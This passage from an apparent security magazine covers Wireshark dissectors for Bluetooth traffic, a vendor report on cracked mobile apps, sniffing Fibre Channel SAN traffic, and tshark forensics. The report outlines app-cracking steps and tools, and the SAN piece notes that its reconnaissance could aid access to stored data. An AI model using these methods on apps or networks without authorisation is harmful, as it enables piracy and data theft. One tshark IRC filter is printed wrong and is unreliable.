What we have now is only LLC is dissected. The data coming after LLC header is dissected as raw data. We want Wireshark to dissect encapsulated frames from Wireshark's known protocols list since the tool already has almost all major protocol supported. For that we need to register dissectors of known protocols according to their bluetooth_pid values to LLC dissector table. AMP Security frames represents X11 Authentication which might be decoded by eapol dissector, AMP L2CAP ACL data frames might be decoded by btl2cap dissector.

Figure 2. *Decoding EAPOL Packets*

Figure 3. *Decoding L2CAP Packets in Decrypted CCMP Data*

References

[1] Bluetooth High Speed. *http://www.bluetooth.com/Pages/High-Speed.aspx*

[2] BLUETOOTH SPECIFICATION Version 4.0 *https://www.bluetooth.org/docman/handlers/download-doc.ashx?doc_id=229737*

[3] IEEE 802.11i-2004: Amendment 6: Medium Access Control (MAC) Security Enhancements *http://standards.ieee.org/getieee802/download/802.11i-2004.pdf*

Listing 3 shows adding L2CAP and EAPOL dissectors in the dissector table. First we find dissector handles with `find_dissector` and then we add handles with `dissector_add_uint`.

The change above allows Wireshark to decode EAPOL frames from the dump. Figure 2 shows Wireshark dissecting EAPOL frame, the first message in the 4-way authentication sequence.

After the EAPOL frames traffic is encrypted. This is because the authentication LLC header is also encrypted and those packets cannot be identified as Bluetooth High Speed data. We need to decrypt the packets and then Wireshark is able to understand the packet by looking at the decrypted LLC.

Decrypting Bluetooth Encrypted Data

Next step is to determine the decryption key. Fortunately we have all the required information like Bluetooth supplied PMK and trace containing the 4-way authentication. Wireshark already has the capability to derive *Pairwise Transient Key* (PTK) from a 4-way authentication sequence (shown as EAPOL in Wireshark) in the airpdcap library.

Bluetooth EAPOL frames are not recognized because airpdcap tries to only decode packets with special LLC header specifying type `0x88, 0x8E /* Type: 802.1X authentication */`. The solution is to add second LLC header and filter only those two headers shown in Listing 4.

After this change airpdcap is able to find PTK key (given that PMK key is known by Wireshark through preferences) and then decrypt data traffic. Figure 3 shows.

ANDREI EMELTCHENKO

Author has over 12 years of experience working with network protocols in Nokia, Nokia Siemens Networks and Intel.

rivetlogic

ARTISANS OF OPEN SOURCE

State of Security

in the App Economy: Mobile Apps Under Attack

The proliferation of mobile devices has created an app-centric global marketplace, ushering in the App Economy that is driving innovation, new business models, and revenue streams across all industries. The app industry is growing at a staggering rate, with revenues approaching $60 billion worldwide. Mobile apps provide large-scale opportunities for innovation, productivity, and value creation. However, they also represent the definitive new target for hacking.

Arxan Technologies sought to develop a new, fact-based perspective on the prevalence and nature of malicious mobile app hacking that threatens the health and wellness of the App Economy. Specifically, we set out to reveal the widespread prevalence of hacked mobile apps and the financial impact from lost revenues, IP theft, and piracy. While several prior studies have focused on the prevalence of malware in end-user mobile devices and apps, there are few studies that look at the prevalence of app hacking from the application owners'/developers' perspective. We wanted to provide a new, fact-based perspective on the hacking threats that app owners/providers face after releasing their app.

To this end, we identified and reviewed hacked versions of top Apple iOS and Android apps from third-party sites outside of official Apple and Google app stores. The review of paid apps was based on the Top 100 iPhone Paid App list from Apple App Store and the Top 100 Android Paid App list from Google Play. The review of free apps was based on 15 highly popular free apps for Apple iOS and the same 15 free apps for Android. In total, our sample included 230 apps. This data from Apple and Google was accessed in May 2012. Hacked versions of these Apple iOS and Android apps were located in May-June 2012 by using both standard search engines (such as Google Search) and searching third-party sites such as unofficial app stores (e.g., Cydia), app distribution sites, hacker/cracker sites, and file download and torrent sites.

Key Findings

We recently presented the research findings in our report, "State of Security in the App Economy: Mobile Apps under Attack", which was issued Aug. 20, 2012. The following is an overview of key insights:

Apps That Have Not Been Hacked Are in the Minority

Our research indicates that more than 90% of top paid mobile apps have been hacked overall. 92% of Top 100 paid apps for Apple iOS and 100% of Top 100 paid apps for Android were found to have been hacked. We also found that free apps are not immune from hackers: 40% of popular free Apple iOS apps and 80% of the same free Android apps were found to have been hacked.

Hacking is Pervasive across All Categories of Mobile Apps

Hacked versions were found across all key industries such as games, business, productivity, financial services, social networking, entertainment, communication, and health.

Mobile App Hacking is a Costly Proposition

Mobile app hacking is becoming a major economic issue, with tens of billions of dollars at risk for mobile app owners. Mobile app hacking is becoming a major economic issue with consumer and enterprise mobile app revenues growing to more than $6o billion by 2016 and mobile payments volume exceeding $1 trillion (based on data from KPMG, ABI Research, and TechNavio) (The tremendous economic impact has recently started to get atten-

tion from US law enforcement officials, who for the first time in August seized three website domains allegedly used to distribute copyrighted mobile phone applications).

Even though many mobile apps have low price-points (such as a few dollars or even less), the economic impact can be significant due to high volumes and large numbers of users. As an example, for one popular game, we found that a free pirated version has been downloaded over half a million times just from one of the many sites where free pirated versions of that game are available. This suggests that many app owners are already today losing significant revenues.

Hacking can cause severe business consequences to app owners such as: brand and reputation compromise (from publicly known hacked versions, tampering attacks, and repackaged copies with malware exploits); revenue losses (from lost paid apps, in-app purchases or ad revenues, lost users, or lost intellectual property); user experience compromise (from hacked versions with problems or affected experience); and exposure to liabilities (from tampering, theft, or exposure of sensitive information, purchases, transactions, etc.).

Mobile Apps are Subject to Diverse Types of Hacks and Tampering Attacks

These include disabled or circumvented security, unlocked or modified features, free pirated copies, ad-removed versions, source code/IP theft, and illegal malware-infested versions.

Undefended, Mobile Apps Are "Sitting Ducks"

Our research demonstrated that apps are subject to many diverse types of hacks and tampering attacks. Traditional approaches to app security (e.g., secure software development practices, app vulnerability scanning) do not protect against these new attack vectors, leaving app owners unprepared against hackers. Based on our hacking results analysis and discussions with app owners, very few app owners (estimated less than 5%) have deployed adequate professional grade measures to protect their apps against hacking attacks.

Mobile App Protection Requires New Approaches

Mobile applications have a very different and much broader attack surface. Therefore, mobile app owners need to address this new threat landscape and attack vectors with new security strategies that are relevant for mobile apps. App owners must adopt a new step in their app development, management, and security lifecycle to ensure their apps are protected and can maintain their integrity "in the wild" against hacking attacks.

Types of Hacking Attacks Faced by Mobile Apps

Our research revealed that mobile apps are subject to many diverse types of hacks and tampering attacks such as disabled or circumvented security, unlocked or modified features, free pirated copies, ad-removed versions, source code/IP theft, and illegal malware-infested versions. We found a variety of different hacks all of which can be broadly categorized in the six types of attacks shown in Figure 1.

A few specific patterns can be highlighted:

- Overall, security mechanisms (such as licensing, policies, encryption, certificate signing) were found to be commonly disabled or circumvented.
- For paid apps, free pirated copies were found to be extremely common. Nearly all of the paid apps were available on third-party sites as free downloads.
- For apps with ad-based business models (often in free apps), we found many of those apps available as ad-stripped versions.
- Apps with restricted features were found to be commonly available as unrestricted versions. This is especially typical of games with cheat hacks (but exists also in other types of apps). In hacked versions of these apps, users can often get unlimited resources (money, weapons, cars, etc), access levels that would otherwise require hours of play, or manipulate high

Figure 1. *Types of Hacking Attacks Faced by Mobile Apps*

scores. In some cases, these features or levels were designed to be available as in-app purchases and the hacked versions may allow the user to bypass and circumvent these purchase requirements.

- Some apps were found to have hacked versions that (at least supposedly) contain improvements such as added features and capabilities (e.g., HD, video uploads, additional device or operating system version support). Obviously, the nature, quality and stability of these hacker-modified versions is uncertain.
- A particular danger with hacked versions that look appealing to potential users (due to being free, ad-stripped, or improved) is that they contain hidden exploits such as malware. Hackers can crack popular apps, inject malware, and redistribute without original app owners or users being aware of this. For example, 86% of Android malware are repackaged versions of legitimate applications (source: NC State University study, published in IEEE Security & Privacy 2012).
- Finally, app owners should also be very concerned about source code and IP theft (through decompilation and disassembly). Many of the cracked apps can enable others to take and leverage proprietary code and IP for other uses (e.g., competing apps).

Anatomy of an App Hack

Our research also looked into the tactics employed by hackers, enabling application developers and security teams to better understand their methods. The general pattern ("Anatomy of an App Hack") for mobile app hacking follows a three-step process as shown at a high level in Figure 2.

- STEP 1: The attacker defines what to compromise or modify in the app such as certain security features, program functionality or pirate the app.
- STEP 2: The attacker uses automated tools possibly with some manual work to reverse-engineer the application and understand its structure. This step can involve static (at-rest) and/or dynamic (real-time, during app execution) analysis of the code. There are many widely available, free or low-cost, and powerful decompilation tools and disassembly and debugging tools (such as IDA Pro) that enable efficient reverse-engineering and in many cases can enable hacker to translate a binary app code back into its source code. Especially Android Java apps can be easily and trivially decompiled back to source code. Native Android and iOS apps are relatively easy to reverse-engineer as well. Encrypted apps can be cracked easily by hackers by getting ("dumping") the code from the device memory (where it is running in a decrypted form during app execution); this can be done with automated hacking tools (e.g., Clutch for iOS).
- STEP 3: Once understanding the inner workings of the app, the hacker can tamper with the code such as modify targeted parts of the app,

Figure 2. *Anatomy of App Hack*

disable security, unlock functionality, inject malware/exploits, and repackage the app and distribute it.

There are a few specific app cracking highlights for Apple iOS and Android.

Apple iOS

iOS apps downloaded from the Apple App Store are encrypted and signed, and can only be run on devices that can correctly decrypt their bytes and verify their signatures. To pirate such an app, hackers typically create an unencrypted (unprotected) version of the app and republish it on third-party sites. People who want to run these pirated apps must have their devices jailbroken, since jailbreaking disables the other half of the protection which is the signature verification check imposed by the iOS kernel. To create a decrypted version of a protected app, hackers typically start by jailbreaking the phone and installing automated cracking tools (e.g., Clutch). They download the original app from Apple App Store and run the tool to produce a decrypted version of the app. These tools internally use a debugger to load and decrypt the app from memory and dump it to a raw file. Then, the hacker can repackage and republish the app on third-party sites.

Android

For Android, apps released through Google Play are not encrypted (though, this is changing with new operating system versions) and can be self-signed. Anyone who can get hold of a copy of the app can unpack the app, make modifications (e.g., bypass any licensing checks implemented in the code), resign the app (with their own keys), and republish it elsewhere (or even via Google Play). People who want to run pirated apps do not need to root their devices, as the Android OS itself does not pose a restriction on which app store or source to use. To crack an Android app, hackers can download the app on another machine (e.g., Mac) and run a tool (e.g., apktool) to un package the app and disassemble its Dalvik bytecode. They analyze the disassembled code or use tools (e.g., dex2jar and a Java decompiler) to decompile Dalvik bytecode to Java source code and analyze the source code. They can make changes to disable license checks (or other modifications) and repackage the app and resign it.

Google Play provides "Google Play Licensing" as an option to app developers. This is implemented through Google's License Verification Library. It has multiple single points of failure (e.g., license API call) and has widely been cracked. Other Android app markets such as Amazon's and Verizon's are also known to be easily defeatable.

Traditional Approaches Ineffective to Secure App Integrity

Traditional approaches to app security (e.g., secure software development practices, app vulnerability scanning) do not protect against these new attack vectors, leaving app owners unprepared against hackers. There is an established set of practices, processes, and tools that app owners are used to develop and release secure applications. Unfortunately, these traditional approaches do not protect against the afore-described mobile app hacking patterns and tampering/reverse-engineering based attacks.

Software practices such as *Security Development Lifecycle* (SDL) help app owners to develop safe and clean code. App vulnerability testing and scanning tools help app owners identify vulnerabilities. These approaches and tools continue to be relevant and important to avoid leaving flaws and holes in the apps (such as problems with buffer overflows, SQL injection, cross-site scripting, poor use of APIs, etc.). However, these approaches do not provide real-time integrity protection and security against tampering/reverse-engineering based attacks. "Vulnerability-free" code can still be easily reverse-engineered and tampered resulting in the hacker compromising the integrity of the app.

Some app publishers have used simple code obfuscation or encryption methods both of which are inadequate. Free and low-cost code obfuscators are easily and trivially defeated by hackers and automated tools due to their simplicity. Encryption can easily be circumvented via run-time memory analysis and dumping of unencrypted code, and it may also result in excessive performance and file size problems.

Recommendations for App Owners

App owners are clearly far behind hackers in their understanding and sophistication around how easily apps can be compromised. Based on our research findings, we offer the following recommendations for app owners:

1: Make mobile app protection a strategic priority, reflecting its new criticality to address hacking attacks and the growing value at stake.

2: Be especially diligent about protecting mobile apps that deal with transactions, payments, sensitive data, or that have high value IP (e.g., financial services, commerce, digital media, gaming, healthcare, government, corporate apps).

3: Do not assume that web app security strategies address the new requirements for mobile app protection due to very different threats.
Security strategies need to be based on a deliberate analysis of the threat landscape and potential attack vectors. With web sites and web apps, the attack surface can be fairly narrow and focused mainly on input attacks (e.g., SQL injection, cross-site scripting) and network access/traffic attacks. Mobile applications have a very different and much broader attack surface. Mobile apps are running out in the open and hackers typically have access to the actual binary application code. Hackers can attack the app code, reverse-engineer, and tamper with it without the app owner having any visibility or control. Therefore, mobile app owners need to address this new threat landscape and attack vectors with new security strategies that are relevant for mobile apps.

4: Focus app security initiatives on protecting the integrity of mobile apps against tampering/reverse-engineering attacks, in addition to traditional approaches to avoiding vulnerabilities.
Traditional methods for secure software development and vulnerability testing are still necessary but insufficient against tampering/reverse-engineering based attacks as they cannot assure the integrity of the app after it has been released. App owners need to adopt a new step in their app development, management, and security lifecycle to ensure their apps are protected and can maintain their integrity "in the wild" against hacking attacks (see Figure 3). Before releasing the app, app owners need take new measures to protect their apps against tampering/reverse-engineering based threat vectors.

5: Build protections directly into the app using steps that counter how hackers attack apps.

Figure 3. *The Way to Secure Mobile Applications*

Figure 4. *Understanding the Attacks to Counter Them*

STATE OF SECURITY IN THE APP ECONOMY

ARXAN

Mobile App Hacking Revealed for Top Mobile Apps

TOP 100 PAID APPS

Apple iOS: Hacked 92%, 8% Not Hacked

Android: Hacked 100%

POPULAR FREE APPS

Apple iOS: Hacked 40%, 60% Not Hacked

Android: Hacked 80%, 20% Not Hacked

TYPES OF MOBILE APP HACKS

Tampering, Piracy and Intellectual Property Theft

- Disabled Security
- Unlocked or Modified Features
- Ad-removed Version
- Malware-infested Version
- Free Pirated Copies
- Source Code/IP Theft

ECONOMIC VALUE AT STAKE

Mobile Payments Volume	$124B (2011)	$945B (2015)
Mobile App Revenues	$8.5B (2011)	$46B (2018)
Enterprise Mobile Apps	$7B (2011)	$11.5B (2014)

Source: ABI Research, TechNavio, KPMG

CONSEQUENCES TO APP OWNERS

- Financial Loss
- Brand & Reputation Loss
- User Experience Compromise
- Liability Exposure

THE ANATOMY OF AN APP HACK

1. TARGET
2. REVERSE-ENGINEER
3. TAMPER

1. Define the Exploit and Attack Targets
- Compromise security: authentication, encryption, jailbreak detection, DRM, etc.
- Modify or steal functionality.

2. Reverse-Engineer the Code
- Understand the code with automated tools
- Dynamic analysis (e.g. debugging, tracing, memory analysis)
- Static analysis (e.g. disassembly, decompilation)

3. Tamper with the code
- Modify targeted parts of the code
- Create and distribute a tampered version
- Steal IP for illegal use

MOBILE APP PROTECTION STEPS

1. Assess risks and attack targets
2. Harden the code against reverse engineering
3. Make the app tamper-proof and self defending

better safe than sorry
www.demyo.com

App owners need to build protective mechanisms directly in their apps such that these protections go wherever the app goes and the app is always self-protected and maintains its integrity against hacking attacks, regardless of the device or its environment. Effective app protection is grounded in understanding how attackers can hack the app ("Anatomy of Mobile App Hack") and countering that with protection steps as shown in Figure 4.

- STEP 1: Understand the risks and attacks targets in their app. This requires thinking through what is sensitive, high-value code in their app, where is it located, and how attackers may compromise it.
- STEP 2: Harden the app code against reverse-engineering such that the afore-described static and dynamic analysis techniques and tools cannot understand and expose the code.
- STEP 3: Make the app tamper-proof and self-defending. If a hacker is trying tamper with the integrity of the app, the app needs to detect these attacks, defend itself, and react in an appropriate way to thwart the attack. Also, the app should be able to self-heal itself to original code if a hacker is trying to modify the code.

"Professional-Grade" Mobile App Protection

Security is too often a blocker for innovation. It does not have to be. Mobile platforms can enable a thriving App Economy and security concerns should not hold it back. App owners need to have freedom to innovate apps without compromising security or business models, and they must have confidence to deploy sensitive or high-value apps on untrusted devices. In our view, this requires professional-grade mobile app protection.

Professional-grade protection involves the following:

- A multi-layered network of protections inside the app that can perform the tamper-resistant and self-defending operations. A single layer of protection is insufficient and several layers are needed for sufficient defense-in-depth.
- The protections should secure the integrity of the app against a variety of static and dynamic (run-time) hacking attacks.
- The protections should have some diversity such that the same cracking techniques/tools cannot be used repeatedly.
- The protections should not be visible to attackers and should appear as normal code (without signatures, wrappers, processes, etc.)
- Building these protections in the app should not require any source code modifications to avoid disrupting the app development process and to ensure scalability and easy renewability of protection designs. The security protections should be added to compiled code or binary code before releasing the app.

Summary

While we envision a thriving App Economy with freedom and confidence to innovate and distribute new apps, this potential is being threatened by hackers. The fact that over 90% of top mobile apps were found as hacked versions illustrates the ease of cracking/breaching applications and the widespread nature of the problem. Hacked mobile apps now account for the greatest security and financial threat to the overall global software market.

The sobering reality is that most enterprises, security teams, and app developers are not currently prepared to thwart these attacks. It is imperative for application owners/providers to protect their apps before releasing them, especially in the case of any sensitive or high-value apps (across B2C, B2B, or B2E apps). App vendors who don't protect their sensitive/high-value apps from hackers put their brands/reputation, user experience, revenues, and IP at risk. Let's protect and defend the integrity of the mobile software applications so that they can continue driving innovation and new business around the world.

JUKKA ALANEN

Jukka Alanen is vice president at Arxan Technologies. Prior to Arxan, he was vice president at Symantec Corporation.

Arxan Technologies Inc. is the industry leader of application protection solutions that protect the App Economy. Arxan secures mobile, desktop, server and embedded applications against tampering and reverse-engineering attacks and is an integral part of end-to-end application security. Our security defends against tampering, unauthorized use, insertion of exploits, piracy, and theft of intellectual property for global leaders in markets such as Fortune 500 enterprises, financial services, ISV, gaming and digital media to proactively defend the integrity of their code and business models. Arxan's proven, scalable and durable application protection solutions defend, detect, alert and react to application attacks through a threat-based, customizable approach. Arxan Technologies is headquartered in the United States with global offices in EMEA and APAC. For more information, please visit www.arxan.com.

secutech

Your One-stop Security Solution Portal

From components to solutions, 560 original security manufacturers are here to offer turn-key services.

- Asia's No 1 access control showcase, including parking, gates and locks
- Grand display of CCTV upgrades solutions
- World's only HD-SDI pavilion and live demo
- Special highlights: vehicle security, home security and accessories
- Top 100 premier manufacturers from Taiwan, China, Korea and other countries
- 3000+ kinds of new launches

April 24 - 26, 2013
Taipei Nangang Exhibition Center, Taiwan
www.secutech.com

App Store Google play

First Secutech mobile app available
Scan QR code for free download!

messe frankfurt

Network Analysis

On Storage Area Network Using Wireshark

Wireshark, originally known as Ethereal, is probably the most famous open source packet sniffer and network analysis tool available.

This application supports about 1300 protocols through a vast number of filters. Functionalities such as traffic, protocol analysis, and packet dissector make it an extremely versatile tool for security experts, network engineers, and system administrators.

Wireshark can be used during a proactive analysis to identify potential network bottleneck, to monitor "live" what is happening to data flow, and to decode packets in transit, displaying information in readable format. The tool can be installed on any computer connected to the network and equipped with a NIC card. Using specific API or libraries, such as WinPcap under Windows or libpcap for Unix, it enables data capture and allow to analyze packets travelling over the carrier.

Commonly, Wireshark is used on Ethernet technology or Wireless networks, but it's also possible to use it for SAN (*Storage Area Network*) to analyze FCP (*Fiber Channel Protocol*) over Optical Fiber Cables.

The Storage Area Network Architecture

SAN (*Storage Area Network*) is generally defined as a dedicated storage network using Fibre Channel technology to provide disk volumes on the target host.

The SAN environment can be designed to have a disk array directly attached to a host or through a SAN Switch (a SAN Network Director similar to the Ethernet Switch) in order to connect multiple hosts to a single array and enable Business Continuity and Disaster Recovery capabilities.

Disks' capacities are presented as logical volumes called LUN (Logic Unit Number). The provisioning is performed by connecting the Array, Switch and HBA (Host Bus Adapter, a fiber card adapter installed on the Host system) using two different operations called LUN Masking and Zoning (Figure 1).

With Zoning, we connect the ports of the devices, also called initiators, to be logically linked. While performing the LUN Masking, we present the LUN (disk capacity) to the target host.

The SAN directors are accessible by Storage and Network Administrators via Terminal Access Controller Access-Control System (TACACS) or Remote Authentication Dial In User Service (RADIUS).

The main difference between NAS and SAN volume provisioning systems is the protocol used to provide storage capacity. NAS uses NFS or CIFS protocols, while SAN uses the FCP (Fiber Channel Protocol).

Figure 1. *Fiber Channel Zoning*

Fiber Channel Protocol

The FCP (Fibre Channel Protocol) is a transport protocol similar to TCP/IP, approved as ANSI standard around 1994. FCP mainly transports SCSI commands using the Optical Cable as a carrier (Figure 2).

This protocol was invented to enable higher performances and distance insensitivity, to facilitate the system boot from external devices and support enterprise storage flexibility and scalability.

Fiber Channel Traffic Analysis

Network analysis on a fiber channel is not the same as on the Ethernet. There's no equivalent promiscuous mode for nodes, so you can't listen to traffic moving through the network. To achieve traffic analysis, you have to tap into the network between the source and destination ports you wish to analyze. A dedicated hardware is necessary to "read" the packets and specific software to analyze the frames.

Some examples of external frame analyzers ar: Xgig Protocol Analyzer Family from JDSU or LeCroy FC Protocol Analyzers.

FC frame analyzers are often accompanied by a dedicated TAP (*Traffic Access Point*) network hardware. This device is physically inserted into the network and when turned on, it copies all frames headed for a specific port to a specific TAP port. Using TAP hardware means that the frame analyzer can be plugged into the TAPped port and then removed without causing an interruption in the FC network flow. Of course, in order to initially install the TAP hardware, you have to interrupt the network flow.

Preferrably, these devices should be permanently connected, because each time you insert and remove the analyzer, you interrupt the FC network flow. This may end up in serious repercussions for the system, such as Data Loss and Kernel Panic. In some cases, this has been made easier by Vendors such as Cisco and Brocade, providing a *Switched Port Analyzer* (SPAN) feature, which copies most traffic going to a specific port to another switch port "called mirror port." In that case, the frame analyzer or PAA (*Protocol Analyzer Adapter*) can be plugged into the SPAN switch port and analyze the traffic flow. (Figure 3)

Cisco and Brocade provide native command line tools to allow local fiber channel control traffic passing through the local supervisors to be copied into text file that is stored in a chosen location on switch or redirected to an IP Address.

The default behavior is to store the output in volatile storage area. This can later be copied to a remote server for analysis with Wireshark.

It is also possible to specify a remote IP address to send the data to, and Wireshark can be used to analyze the data in real time, as it's collected.

Cisco Switches MDS with SanOS operating system provide an FC Analyzer command line called: *fcanalyzer* (portlogshow is the command line on brocade).

Figure 2. *Fiber Cable*

Figure 4. *Setting up Wireshark*

Figure 3. *Typical SPAN to PAA Configuration*

In order to configure the system to perform traffic analysis, we must configure the Switch in passive remote mode using the command line as follows:

```
MDS3(config)# fcanalyzer remote 172.xxx.xxx.xxx
MDS3(config)# exit
MDS3# show fcanalyzer
PassiveClient = 172.xxx.xxx.xxx
MDS2#
```

Next, we instruct Wireshark to connect to it remotely using the graphic interface (Figure 4). Or, we may try to connect it using the Wireshark CLI (Figure 5).

Now, we are ready to start a new capture session and verify which type of raw data we can get out of the FC analyzer.

Wireshark can capture a huge amount of information, when installed between the disk array and the host machine. It could potentially intercept all the SCSI commands passing through these two devices. At the same time, it is possible to inspect what is happening at switch level and use the data for troubleshooting and debugging purpose.

During a live capture session, we can monitor the Fabric behavior, the Zone-sets operations, or we can display which initiators and nodes are currently active and enabled.

It is possible to verify volumes presented to the hosts and potentially reverse engineer the entire SAN configuration.

Figure 5. *Remote Connection via Command Line Interface*

Figure 6. *Host Login Trace*

We can manage to identify all the Zoning and Masking setup and if the Switch is using features such as VSAN (Virtual SAN similar to VLAN in Ethernet Networks) or IVR (Inter-VSAN Routing), we can trace all the members' devices existing in all of the SAN area including all the SCSI command dialogs.

With the help of customized filters, it is possible to use Wireshark for troubleshooting purposes and display (for example, merge conflicts, Fabric Login status, Zoning failure, and so on). A good example is visible in Figure 6. We can see a live capture session with Wireshark tracing a Host Login event. It is possible to trace the entire "dialog" between the Host and the Remote Array through the Switches. There are two active windows in Wireshark:

- Transmit Trace
- Response Trace.

The first one is tracing FCP/SCSI transmission dialog and the second trace the responses.

In the first window, we can see LUNs (remote disks) are in "inquiry status" (seeking to log on to target host) and the FC initiator is attempting to initiate the FLOGI (a link service command that sets up a session between two participants' devices).

We can verify the positive response in the second window. The Login request is accepted and we can see the positive response. The trace window is now displaying that LUNs are reported in good status, hence available to be mounted on the target Host.

Conclusions

This article provides a quick overview of using Wireshark in a SAN environment. Although, network analyzers are powerful software and can be used to troubleshoot complicated issues, but at the same time, they can be extremely dangerous when misused or activated through unauthorized access.

Sniffers are difficult to detect and can be applied almost anywhere within the network under analysis, which makes it one of the hackers' favorite tools.

We need to bear in mind that NO Firewalls or IDS are present in a SAN environment, thus it is not possible to filter traffic or identify intruders easily.

The Login of a "new" device in the fabric is never reported as a malicious activity and poorly monitored. Moreover a volume can be mounted and shared over multiple hosts and, in most cases, there is no event alert that trace the activity.

It's true that SAN protocol presents all data at block level, but it is still possible to capture and dump, in a separate storage, large quantity of traffic to attempt file reconstructions later.

Appendix 1

- *http://www.cisco.com/en/US/docs/switches/datacenter/mds9000/sw/4_1/configuration/guides/cli_4_1/tsf.html*
- *http://en.wikipedia.org/wiki/Fibre_Channel*
- *http://en.wikipedia.org/wiki/Fibre_Channel_Logins*
- *http://en.wikipedia.org/wiki/Fibre_Channel_zoning*
- *http://www.jdsu.com/en-us/Test-and-Measurement/Products/a-z-product-list/Pages/xgig-protocol-analyzer-family-overview.aspx*
- *http://teledynelecroy.com/protocolanalyzer/protocolstandard.aspx?standardid=5*
- *http://www.brocade.com/products/all/switches/index.page*
- *http://www.cisco.com/en/US/products/hw/ps4159/ps4358/products_configuration_example-09186a008026eb55.shtml*

Using Wireshark to perform SAN network cartography may be a good starting point to perform further attacks. One may be able to use the information gathered to reconfigure Zoning and Masking, mount the target volume on a different Host, and access to stored data.

FCP is a protocol that does not provide encryption, thus all the data travelling is potentially exposed.

Remember to handle all the information gathered with Wireshark carefully in order to avoid data leakage. We should store all the captured files securely, possibly in encrypted volumes and never forget that sniffing is an illegal activity while performed without authorization.

SEMBIANTE MASSIMILIANO

M.S.c. Computer Security Employed at UBS Bank as IT Security and Risk Specialist. Collaborating as Research Engineer at R.I.F.E.C. (Research Institute of Forensic and E-Crimes) focusing on: New Virus, Malware Analysis and reverse, Digital Forensic, Sandbox bypass, Shellcoding, Testing Overflows and Exploitation, Code corruption, Testing unexpected behavior, Privilege Escalation, Cryptography, Cryptanalysis, Data infection analysis, new attack vectors, approaches including new tactics and strategies. Defeating protections, intrusion methodologies, polymorphic and intelligent masquerading. Antivirus adaptation and detection avoidance. Development of Tools and scripts. Web: www.rifec.com | Email: msembiante@rifec.com

a d v e r i s e m e n t

OWASP Foundation

"We help protect critical infrastructure one byte at a time"

- **140+** Checklists, tools & guidance
- **150** Local chapters
- **20,000** builders, breakers and defenders
- **Citations:** ***NSA, DHS, PCI, NIST, FFIEC, CSA, CIS, DISA, ENISA*** and more..

Learn More: http://www.owasp.org

Deep Packet

Inspection with Wireshark

Wireshark is a free and open-source packet analyzer. It is commonly used in troubleshooting network issues and analysis. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

This article attempts to provide some detail into how to search through packet dump files or pcap files using Wireshark. I'll give some useful information on using wireshark & tshark to do deep packet analysis.

Intrusion detection devices such as Snort use the libpcap C/C++ library for network traffic capture. It is this capture file that we will be using wireshark on.

Wireshark is included in many Linux distros. If it is not, it is available in the package repositories. Wireshark formally known as Ethereal, is available for download through the project website, which has a number of tutorial and resources.

tshark

The tshark utility allows you to filter the contents of a pcap file from the command line. To view the most significant activity, I use the following command (see Figure 1):

```
$ tshark -nr attack3.log.gz -qz "io,phs"
```

The `-n` switch disables network object name resolution, `-r` indicates that packet data is to be read from the input file, in this case `attack3.log.gz`. The `-z` allows for statistics to display after reading the capture file has been finished, the `-q` flag specifies that only the statistics are printed. See Figure 1 for the output of this information. To view a list of help commands used with tshark, type:

```
$ tshark -h
```

For a list of arguments type `-z`:

```
$ tshark -z help
```

If you are looking for a particular IP address [205.177.13.231] that you think may appear in a

```
dave@dave-virtual-machine:~$ tshark -nr attack3.log.gz -qz "io,phs"
===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:123123 bytes:18041825
  ip                                     frames:123123 bytes:18041825
    icmp                                 frames:7592 bytes:5692820
    udp                                  frames:3896 bytes:2660510
      dns                                frames:1574 bytes:246438
      nbns                               frames:3 bytes:1250
      data                               frames:2220 bytes:2366550
      bundle                             frames:2 bytes:2132
      sflow                              frames:2 bytes:2132
        data                             frames:2 bytes:2132
      olsr                               frames:2 bytes:2132
      rsvp                               frames:2 bytes:2132
        text                             frames:2 bytes:2132
      ff                                 frames:4 bytes:4264
      mikey                              frames:2 bytes:2132
      ax4000                             frames:2 bytes:2132
      sabp                               frames:2 bytes:2132
        malformed                        frames:2 bytes:2132
      ddtp                               frames:1 bytes:1066
      enttec                             frames:1 bytes:1066
      capwap                             frames:1 bytes:1066
        eth                              frames:1 bytes:1066
          mdshdr                         frames:1 bytes:1066
            fc                           frames:1 bytes:1066
              data                       frames:1 bytes:1066
      echo                               frames:1 bytes:1066
      epl                                frames:1 bytes:1066
```

Figure 1. *Tshark Statictics Output*

```
dave@dave-virtual-machine:~$ tshark -V -nr attack3.log.gz ip.src == 205.177.13.231 | grep "Source port" | awk
{'print $3'} | sort -n | uniq -c
     53 21
     49 22
     65 23
     51 25
     61 53
     66 80
     66 110
    108 113
dave@dave-virtual-machine:~$
```

Figure 2. *List of Ports Communicating with 205.177.13.231 and the Number of Times it Occurred*

packet dump, and the associated port it is connecting on, as well as the number of times it connected, use the following command (See Figure 2):

```
$ tshark -V -nr attack3.log.gz ip.src ==
205.177.13.231 | grep "Source port" | awk {'print
                    $3'} | sort -n | uniq -c
```

The `-v` causes tshark to print a view of the packet details rather than a one-line summary of the packet. The `grep` command looks for the text string *Source port* in the packet dump, and `awk { 'print $3'}` looks for the third field in the text resulting from the grep and prints it; `sort -n` will sort the results according to string numerical value, and `uniq -c` will take the matching lines, merge to the first occurrence, and list the number of times that it occurred. The resulting output shows 205.177.13.231 having connections on ports (21, 22, 23, 25, 53, 80, 110 and 113) along with the number of times each of these occurred.

Let's try to find possible IRC traffic in the packet capture. What are the ports used by IRC traffic? We can issue the following command:

```
$ grep irc /usr/share/nmap/nmap-services | grep tcp
```

Figure 3 shows the results of this command.

Figure 3. *Locating IRC Port Numbers with Grep*

Figure 4. *IRC Connections Found in the Packet Dump*

Figure 5. *Searching for CNAME Records in Wireshark*

When we search the packet dump looking for evidence of IRC traffic to and from the IP address 206.252.192.195, we would use the following command (see Figure 4):

```
$ tshark -nr attack1.log.gz 'ip.addr==
206.252.192.195 and tcp.port >= 6665 and tcp.port
>= 6670 and irc; | awk {'print $3,$4,$5,$6'} |
                    sort -n | uniq -c
```

Here is the following breakdown of the above command.

- `-nr` – switch disables network name resolution and packet to be read
- `'ip.addr==206.252.192.195` – This is the IP address that I am looking for
- `and tcp.port >=6665` – Start of the port range
- `and tcp.port <=6670` – End of the port range
- `and irc'` – Search for IRC traffic only
- `awk {'print $3,$4,$5,$6'}` – Prints the third through sixth patterns from each matching line
- `sort -n` – Sorts according to string numerical value
- `uniq -c` – Only prints the number of matches that are unique

Figure 6. *Length of Time Client Resolved Address Cache*

Figure 7. *Locating the User Name and Password for FTP Account*

Wireshark the GUI

The Wireshark GUI application can be started from the Application menu or from the terminal. To load a capture file from the terminal simply type the Wireshark filename at the command `prompt < $ wireshark alert1.log.gz>`.

